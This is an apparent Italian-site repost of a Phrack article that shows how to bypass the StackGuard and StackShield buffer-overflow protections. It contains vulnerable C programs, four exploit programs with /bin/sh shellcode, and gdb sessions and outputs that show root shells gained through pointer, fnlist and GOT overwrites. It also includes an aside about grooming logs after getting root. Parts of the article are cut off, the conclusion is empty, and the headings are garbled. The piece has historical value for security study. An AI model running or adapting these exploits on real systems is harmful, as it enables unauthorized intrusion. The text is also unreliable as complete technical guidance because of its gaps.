BYPASSING STACKGUARD AND STACKSHIELD - - P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38
Pubblicato da Bulba and Kil3r <[email protected]> il 05/01/2000
Livello avanzato
Introduzione
----| Preface
"When a buffer overwrites a pointer... The story of a restless mind."
This article is an attempt to demonstrate that it is possible to exploit stack overflow vulnerabilities on systems secured by StackGuard or StackShield even in hostile environments (such as when the stack is non-executable).
Iniziamo
----| StackGuard Overview
According to its authors, StackGuard is a "simple compiler technique that virtually eliminates buffer overflow vulnerabilities with only modest performance penalties." [1]
We assume that the reader know how buffer overflow attacks work and how to write exploit code . If this is foreign to you, please see P49-14.
In a nutshell, we can change a function's return address by writing past the end of local variable buffer. The side effect of altering a function's return address is that we destroy/modify all stack data contained beyond end of the overflowed buffer.
What does StackGuard do? It places a "canary" word next to the return address on the stack. If the canary word has been altered when the function returns, then a stack smashing attack has been attempted, and the program responds by emitting an intruder alert into syslog, and then halts.
Consider the following figure:
... ...
|-----------------------------------|
| parameters passed to function |
|-----------------------------------|
| function's return address (RET) |
|-----------------------------------|
| canary |
|-----------------------------------|
| local frame pointer (%ebp) |
|-----------------------------------|
| local variables |
|-----------------------------------|
... ...
To be effective, the attacker must not be able to "spoof" the canary word by embedding the value for the canary word in the attack string. StackGuard offers two techniques to prevent canary spoofing: "terminator" and "random".
[root@sg StackGuard]# cat vul.c
// Example vulnerable program.
int f (char ** argv)
{
int pipa; // useless variable
char *p;
char a[30];
p=a;
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(p,argv[1]); // <== vulnerable strcpy()
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p,argv[2],16);
printf("After second strcpy ;)\n");
}
main (int argc, char ** argv) {
f(argv);
execl("back_to_vul","",0); //<-- The exec that fails
printf("End of program\n");
}
As you can see, we just overwrite the return address by overflowing our buffer. But this will get us nowhere since our program is StackGuard protected. But the simplest, obvious route is not always the best one. How about we just overwrite the `p` pointer? The second (safe) strncpy() operation will go straight to memory pointed by us. What if p points at our return address on the stack? We're altering the function's return without even touching the canary.
[root@sg StackGuard]# cat ex.c
/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0xbffffeb4; // <<== let us point at RET
p = (int *)(addr);
*p=0xbfffff9b; // <<== new RET value
execle("./vul",shellcode,buf,addr,0,0);
}
As tested on a StackGuarded RH 5.2 Linux box:
[root@sg StackGuard]# gcc vul.c -o vul
[root@sg StackGuard]# gcc ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=bffffeb4 -- after 1st strcpy
bash#
As you can see, the first strcpy() overwrites p, then strncpy() copies the new RET value so that when it returns it takes address of our shellcode. Kaboom!
[root@sg StackGuard]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x8048790
(gdb) r
Starting program: /root/StackGuard/c/StackGuard/vul
Breakpoint 1, 0x8048790 in main ()
(gdb) x/10x &fnlist
0x400eed78 <fnlist>: 0x00000000 0x00000002 0x00000003 0x4000b8c0
0x400eed88 <fnlist+16>: 0x00000000 0x00000003 0x08048c20 0x00000000
0x400eed98 <fnlist+32>: 0x00000000 0x00000000
We can see that it calls two functions: _fini [0x8048c20] and _dl_fini [0x4000b8c0] and that neither of these take any arguments (checkout glibc sources to understand how to read the fnlist content). We can overwrite both of these functions. The fnlist address is dependent on the libc library, so it will be the same for every process on a particular machine.
[root@sg StackGuard]# cat 3ex.c
/* Example exploit no. 2 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0x400eed90; // <<== Address of entry in fnlist which we'll modify
p = (int *)(addr);
*p=0xbfffff9b; // <<== Address of new function to call (shellcode) :)
execle("./vul",shellcode,buf,addr,0,0);
}
As you can see our exploit has changed only by one line :)
[root@sg StackGuard]# gcc 3ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=400eed90 -- after 1st strcpy
After second strcpy ;)
End of program
bash#
As you can see our program gave us a shell after the end of normal execution. Neither StackGuard nor StackShield cannot protect against this kind of attack.
void __canary_death_handler (int index, int value, char pname[]) {
printf (message, index, value, pname) ;
syslog (1, message, index, value, pname) ;
raise (4) ;
exit (666) ;
}
As you can see, we have a call to exit() at the very end. Granted, exploiting the program this way will generate logs, but if there is no other way, it's a necessary evil. Besides, if you get root, you can just groom them later.
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(p,argv[1]);
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p,argv[2],16);
printf("After second strcpy :)\n");
Yes. The program writes our content (argv[2]) to our pointer then it executes library code, printf(). OK, so what we need to do is to overwrite the GOT of printf() with the libc system() address so it will execute system("After second strcpy :)\n"); Let's test it in practice. To do this, we disassemble the Procedure Linkage Table (PLT) of printf().
[root@sg]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) x/2i printf
0x804856c <printf>: jmp *0x8049f18 <- printf()'s GOT entry
0x8048572 <printf+6>: pushl $0x8
(gdb)
OK, so printf()'s GOT entry is at 0x8049f18. All we need is to put the libc system() address at this location, 0x8049f18. According to Rafal's article we can calculate that our system() address is at: 0x40044000+0x2e740. 0x2e740 is an offset of __libc_system() in libc library:
[root@sg]# nm /lib/libc.so.6| grep system
0002e740 T __libc_system
0009bca0 T svcerr_systemerr
0002e740 W system
[ Note: the reader might notice we didn't use a kernel with Solar's patch. We were having problems with init(8) halting after boot. We were running out of time to get this article done so we decided to go without the kernel patch. All that would change is the 0x40. On systems with Solar's patch, libc is at 0x00XXYYZZ. So, for example, the above address would look like 0x00044000+0x2e740, the 0x00 at the beginning will terminate our string. We're not 100% positive that StackPatch is compatible with StackGuard, it SHOULD be, and even if it isn't, it CAN be... But we're not sure yet.. If any knows, please drop us a note. ]
[root@sg]# cat 3ex3.c
/* Example exploit no. 3 (c) by Lam3rZ 1999 :) */
char *env[3]={"PATH=.",0};
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[46];
int * p;
main() {
memset(buf,'A',36);
p = (int *)(buf+32);
*p++=0x8049f18;// <== printf() GOT entry address
p = (int *)(addr);
*p=0x40044000+0x2e740;// <<== Address of libc system()
printf("Exec code from %x\n",*p);
execle("./vul",shellcode,buf,addr,0,env);
}
And test it!!!
[root@sg]# gcc 3ex3.c
[root@sg]# ./a.out
Exec code from 40072740
p=bffffec4 -- before 1st strcpy
p=8049f18 -- after 1st strcpy
sh: syntax error near unexpected token `:)'
sh: -c: line 1: `After second strcpy :)'
Segmentation fault (core dumped)
Hrm. That didn't work.
int f (char *string) {
[...]
char *p;
char a[64];
[...]
Check this out:
char dst_buffer[64]; /* final destination */
int f (char * string)
{
char *p;
char a[64];
p=dst_buffer; /* pointer initialization */
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(a, string); /* string in */
/* parsing, copying, concatenating ... black-string-magic */
/* YES, it MAY corrupt our data */
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p, a, 64); /* string out */
printf("After second strcpy ;)\n");
}
int main (int argc, char ** argv) {
f(argv[0]); /* interaction */
printf("End of program\n");
}
You interact with the vulnerable function by passing it just one string...
00110000-00116000 r-xp 00000000 03:02 57154
00116000-00117000 rw-p 00005000 03:02 57154
00117000-00118000 rw-p 00000000 00:00 0
0011b000-001a5000 r-xp 00000000 03:02 57139
001a5000-001aa000 rw-p 00089000 03:02 57139
001aa000-001dd000 rw-p 00000000 00:00 0
08048000-0804a000 r-xp 00000000 16:04 158
0804a000-0804b000 rw-p 00001000 16:04 158 <-- The GOT is here
bfffd000-c0000000 rwxp ffffe000 00:00 0
The GOT may seem to be non-executable, but SUPRISE! Good ole' Intel allows you to execute the GOT where ever you wish! So all we have to do is stick our shellcode there, patch the GOT entry to point to it, and sit back and enjoy the show!
*p=0x8049f84; // destination of our strncpy operation
[...]
*p=0x8049f84+4; // address of our shellcode
All we need is a copy operation that can copy the shellcode right where we want it. Our shellcode is not size optimized so it takes more than 40 bytes, but if you're smart enough you can make this code even smaller by getting rid of jmp, call, popl (since you already know your address).
char global_buf[64];
int f (char *string, char *dst)
{
char a[64];
printf ("dst=%x\t -- before 1st strcpy\n",dst);
printf ("string=%x\t -- before 1st strcpy\n",string);
strcpy(a,string);
printf ("dst=%x\t -- after 1st strcpy\n",dst);
printf ("string=%x\t -- after 1st strcpy\n",string);
// some black magic is done with supplied string
strncpy(dst,a,64);
printf("dst=%x\t -- after second strcpy :)\n",dst);
}
main (int argc, char ** argv) {
f(argv[1],global_buf);
execl("back_to_vul","",0); //<-- The exec that fails
// I don't have any idea what it is for
// :)
printf("End of program\n");
}
In this example we have our pointer (dst) on the stack beyond the canary and RET value, so we cannot change it without killing the canary and without being caught...
/* Example exploit no. 4 (c) by Lam3rZ 1999 :) */
char shellcode[] = // 48 chars :)
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char buf[100];
int * p;
main() {
memset(buf,'A',100);
memcpy(buf+4,shellcode,48);
p = (int *)(buf+80); // <=- offset of second f() argument [dest one]
*p=0x8049f84;// <<== GOT entry of printf
p = (int *)(buf);
*p=0x8049f84+4;// <<== GOT entry of printf+4, there is our shellcode :)
execle("./vul2","vul2",buf,0,0);
}
And the result:
[root@sg]# ./a.out
p=804a050 -- before 1st strcpy
argv1p=bfffff91 -- before 1st strcpy
p=8049f84 -- after 1st strcpy
argv1=41414141 -- after 1st strcpy
bash#
----| ConclusionConclusioni
----| Some GreetZ
- Kil3r
people I've been drinking with - because i've been drinking with you :)
people I'd like to drink with - because i will drink with you :)
people smarter than me - because you're better than I am - for being wonderful iso-8859-2 characters
Lam3rz - alt.pe0p1e.with.sp311ing.pr0b1emZ :)
koralik - ... just because
- Bulba
----| References
[1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole, Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand. StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks http://www.immunix.org/documentation.html
[2] Crispin Cowan, Steve Beattie, Ryan Finnin Day, Calton Pu, Perry Wagle and Erik Walthinsen. Protecting Systems from Stack Smashing Attacks with StackGuard http://www.immunix.org/documentation.html
[3] Security Alert: StackGuard 1.21 http://www.immunix.org/downloads.html
[4] klog. The Frame Pointer Overwrite http://www.phrack.com/search.phtml?view&article=p55-8
[5] Rafal Wojtczuk. Defeating Solar Designer's Non-executable Stack Patch
http://www.securityfocus.com
Attenzione
----| Authors' note This article is intellectual property of Lam3rZ Group. Knowledge presented here is the intellectual property of all of mankind, especially those who can understand it. :)